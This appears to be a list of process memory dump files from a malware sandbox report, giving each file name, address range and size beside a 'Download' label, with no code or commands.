memory/812-109-0x000000001AAC0000-0x000000001AAC2000-memory.dmp

Filesize
8KB

Download
memory/812-123-0x000000001B8F0000-0x000000001B8F1000-memory.dmp

Filesize
4KB

Download
memory/812-114-0x000000001B4A0000-0x000000001B4A1000-memory.dmp

Filesize
4KB

Download
memory/812-116-0x000000001B3F0000-0x000000001B3F1000-memory.dmp

Filesize
4KB

Download
memory/812-110-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

Filesize
8KB

Download
memory/812-117-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/956-80-0x0000000041276000-0x0000000041277000-memory.dmp

Filesize
4KB

Download
memory/956-78-0x0000000041272000-0x0000000041274000-memory.dmp

Filesize
8KB

Download
memory/956-76-0x0000000041920000-0x0000000041D41000-memory.dmp

Filesize
4.1MB

Download
memory/956-81-0x0000000041277000-0x0000000041278000-memory.dmp

Filesize
4KB

Download
memory/956-79-0x0000000041274000-0x0000000041276000-memory.dmp

Filesize
8KB

Download
memory/1348-222-0x00000000195AA000-0x00000000195C9000-memory.dmp

Filesize
124KB

Download
memory/1348-220-0x00000000195A0000-0x00000000195A2000-memory.dmp

Filesize
8KB

Download
memory/1348-221-0x00000000195A4000-0x00000000195A6000-memory.dmp

Filesize
8KB

Download
memory/1512-172-0x000000001AB04000-0x000000001AB06000-memory.dmp

Filesize
8KB

Download
memory/1512-171-0x000000001AB00000-0x000000001AB02000-memory.dmp

Filesize
8KB

Download
memory/1612-85-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

Filesize
4KB

Download
memory/1612-84-0x0000000002030000-0x0000000002031000-memory.dmp

Filesize
4KB

Download
memory/1612-99-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/1612-102-0x000000001B9C0000-0x000000001B9C1000-memory.dmp

Filesize
4KB

Download
memory/1612-174-0x000000001C640000-0x000000001C641000-memory.dmp

Filesize
4KB

Download
memory/1612-91-0x000000001B8F0000-0x000000001B8F1000-memory.dmp

Filesize
4KB

Download
memory/1612-86-0x0000000002540000-0x0000000002541000-memory.dmp

Filesize
4KB

Download
memory/1612-83-0x000007FEFB8F1000-0x000007FEFB8F3000-memory.dmp

Filesize
8KB

Download
memory/1612-101-0x000000001B520000-0x000000001B521000-memory.dmp

Filesize
4KB

Download
memory/1612-118-0x000000001AA3A000-0x000000001AA59000-memory.dmp

Filesize
124KB

Download
memory/1612-103-0x000000001A9E0000-0x000000001A9E1000-memory.dmp

Filesize
4KB

Download
memory/1612-89-0x000000001AA34000-0x000000001AA36000-memory.dmp

Filesize
8KB

Download
memory/1612-88-0x000000001AA30000-0x000000001AA32000-memory.dmp

Filesize
8KB

Download
memory/1612-87-0x0000000002720000-0x0000000002721000-memory.dmp

Filesize
4KB

Download
memory/1748-60-0x0000000000330000-0x00000000003C1000-memory.dmp

Filesize
580KB

Download
memory/1748-59-0x00000000757E1000-0x00000000757E3000-memory.dmp

Filesize
8KB

Download
memory/1748-61-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download